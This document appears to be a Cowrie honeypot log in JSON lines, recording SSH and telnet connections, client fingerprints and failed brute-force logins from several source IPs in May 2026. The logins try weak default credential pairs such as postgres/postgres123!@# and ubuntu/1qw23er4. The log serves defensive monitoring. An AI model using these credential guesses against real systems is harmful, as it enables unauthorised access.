{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:36.698404Z","src_ip":"34.135.200.178","session":"0ea51819f29a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123!@#","message":"login attempt [postgres/postgres123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:36.873511Z","src_ip":"34.135.200.178","session":"0ea51819f29a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00267100334167,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:37.613966Z","src_ip":"134.209.8.29","session":"d982ed536e54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:37.911941Z","src_ip":"34.135.200.178","session":"0ea51819f29a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":50.45355534553528,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:39.698015Z","src_ip":"134.209.8.29","session":"66919ec71fa7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48492,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8e62a25d1a7","protocol":"telnet","message":"New connection: 38.54.119.93:48492 (10.17.0.5:23) [session: f8e62a25d1a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:40.907698Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":48684,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab737cb3f0b","protocol":"telnet","message":"New connection: 38.54.119.93:48684 (10.17.0.5:23) [session: dab737cb3f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:41.180885Z"}
{"eventid":"cowrie.session.closed","duration":50.74153232574463,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:41.534890Z","src_ip":"38.54.119.93","session":"e2aaa857aa66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":48144,"dst_ip":"10.17.0.5","dst_port":22,"session":"bb6b1629c02c","protocol":"ssh","message":"New connection: 150.95.157.171:48144 (10.17.0.5:22) [session: bb6b1629c02c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:41.613999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:41.625754Z","src_ip":"150.95.157.171","session":"bb6b1629c02c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:41.782263Z","src_ip":"150.95.157.171","session":"bb6b1629c02c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2020","message":"login attempt [admin/2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:42.424864Z","src_ip":"150.95.157.171","session":"bb6b1629c02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.1026771068573,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:43.084950Z","src_ip":"134.209.8.29","session":"7112d0c27c18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:43.591692Z","src_ip":"150.95.157.171","session":"bb6b1629c02c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.971888303756714,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:46.171269Z","src_ip":"134.209.8.29","session":"8b096870e33d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":53722,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a7b27d01aa","protocol":"telnet","message":"New connection: 134.209.8.29:53722 (159.203.135.109:23) [session: 81a7b27d01aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:46.918619Z"}
{"eventid":"cowrie.session.closed","duration":3.322174072265625,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:50.240687Z","src_ip":"134.209.8.29","session":"81a7b27d01aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0015766620636,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:50.471065Z","src_ip":"134.209.8.29","session":"bc423ff90213","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":57054,"dst_ip":"159.203.135.109","dst_port":23,"session":"42f984821f6c","protocol":"telnet","message":"New connection: 134.209.8.29:57054 (159.203.135.109:23) [session: 42f984821f6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:24:51.823817Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.50.231.135","src_port":45096,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3033a066326","protocol":"ssh","message":"New connection: 147.50.231.135:45096 (10.17.0.5:22) [session: f3033a066326]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:01.327676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:01.335257Z","src_ip":"147.50.231.135","session":"f3033a066326","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:01.610269Z","src_ip":"147.50.231.135","session":"f3033a066326","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu@12345","message":"login attempt [ubuntu/ubuntu@12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:02.693536Z","src_ip":"147.50.231.135","session":"f3033a066326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:03.963758Z","src_ip":"147.50.231.135","session":"f3033a066326","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00835275650024,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:10.625967Z","src_ip":"134.209.8.29","session":"6d02f50c1701","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.579065799713135,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:11.384557Z","src_ip":"134.209.8.29","session":"61b067824353","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45552,"dst_ip":"159.203.135.109","dst_port":23,"session":"4140bb6082e9","protocol":"telnet","message":"New connection: 194.233.64.34:45552 (159.203.135.109:23) [session: 4140bb6082e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:12.125411Z"}
{"eventid":"cowrie.session.closed","duration":46.44300580024719,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:13.478498Z","src_ip":"134.209.8.29","session":"054eaac36558","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":42698,"dst_ip":"159.203.135.109","dst_port":23,"session":"a9759cf8662e","protocol":"telnet","message":"New connection: 134.209.8.29:42698 (159.203.135.109:23) [session: a9759cf8662e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:16.308905Z"}
{"eventid":"cowrie.session.closed","duration":38.56853175163269,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:19.749294Z","src_ip":"38.54.119.93","session":"dab737cb3f0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49886,"dst_ip":"10.17.0.5","dst_port":23,"session":"df0e2317c6e2","protocol":"telnet","message":"New connection: 38.54.119.93:49886 (10.17.0.5:23) [session: df0e2317c6e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:23.637834Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.135.200.178","src_port":59122,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2610aa9a480","protocol":"ssh","message":"New connection: 34.135.200.178:59122 (10.17.0.5:22) [session: b2610aa9a480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:24.452691Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:24.468933Z","src_ip":"34.135.200.178","session":"b2610aa9a480","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:24.504371Z","src_ip":"34.135.200.178","session":"b2610aa9a480","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qw23er4","message":"login attempt [ubuntu/1qw23er4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:24.671537Z","src_ip":"34.135.200.178","session":"b2610aa9a480","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.233.64.34","src_port":45574,"dst_ip":"159.203.135.109","dst_port":23,"session":"7dc7ac3ada31","protocol":"telnet","message":"New connection: 194.233.64.34:45574 (159.203.135.109:23) [session: 7dc7ac3ada31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:24.752030Z"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:25.710477Z","src_ip":"34.135.200.178","session":"b2610aa9a480","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":67.28090715408325,"message":"Connection lost after 67 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:25.923997Z","src_ip":"134.209.8.29","session":"6c0b22536c4b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49902,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ab2f067af4d","protocol":"telnet","message":"New connection: 134.209.8.29:49902 (159.203.135.109:23) [session: 5ab2f067af4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:27.189126Z"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":49904,"dst_ip":"159.203.135.109","dst_port":23,"session":"7400f46c6a5b","protocol":"telnet","message":"New connection: 134.209.8.29:49904 (159.203.135.109:23) [session: 7400f46c6a5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:27.979880Z"}
{"eventid":"cowrie.session.closed","duration":49.47623157501221,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:30.383808Z","src_ip":"38.54.119.93","session":"f8e62a25d1a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":9917,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9de8f311430","protocol":"ssh","message":"New connection: 205.254.166.101:9917 (159.203.135.109:22) [session: a9de8f311430]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:32.941028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:32.946131Z","src_ip":"205.254.166.101","session":"a9de8f311430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.273069620132446,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:33.096788Z","src_ip":"134.209.8.29","session":"42f984821f6c","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:33.160418Z","src_ip":"205.254.166.101","session":"a9de8f311430","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"12345","message":"login attempt [admin1/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:34.014163Z","src_ip":"205.254.166.101","session":"a9de8f311430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:35.226198Z","src_ip":"205.254.166.101","session":"a9de8f311430","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.573932647705078,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:35.553678Z","src_ip":"134.209.8.29","session":"7400f46c6a5b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":39912,"dst_ip":"159.203.135.109","dst_port":23,"session":"2167bcc609ef","protocol":"telnet","message":"New connection: 134.209.8.29:39912 (159.203.135.109:23) [session: 2167bcc609ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:39.397063Z"}
{"eventid":"cowrie.session.closed","duration":2.38421630859375,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:41.781212Z","src_ip":"134.209.8.29","session":"2167bcc609ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":37200,"dst_ip":"10.17.0.5","dst_port":22,"session":"fabf10aac217","protocol":"ssh","message":"New connection: 150.95.157.171:37200 (10.17.0.5:22) [session: fabf10aac217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:41.867720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:41.872649Z","src_ip":"150.95.157.171","session":"fabf10aac217","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:42.033601Z","src_ip":"150.95.157.171","session":"fabf10aac217","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgresff","message":"login attempt [postgres/postgresff] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:25:42.716035Z","src_ip":"150.95.157.171","session":"fabf10aac217","protocol":"ssh"}
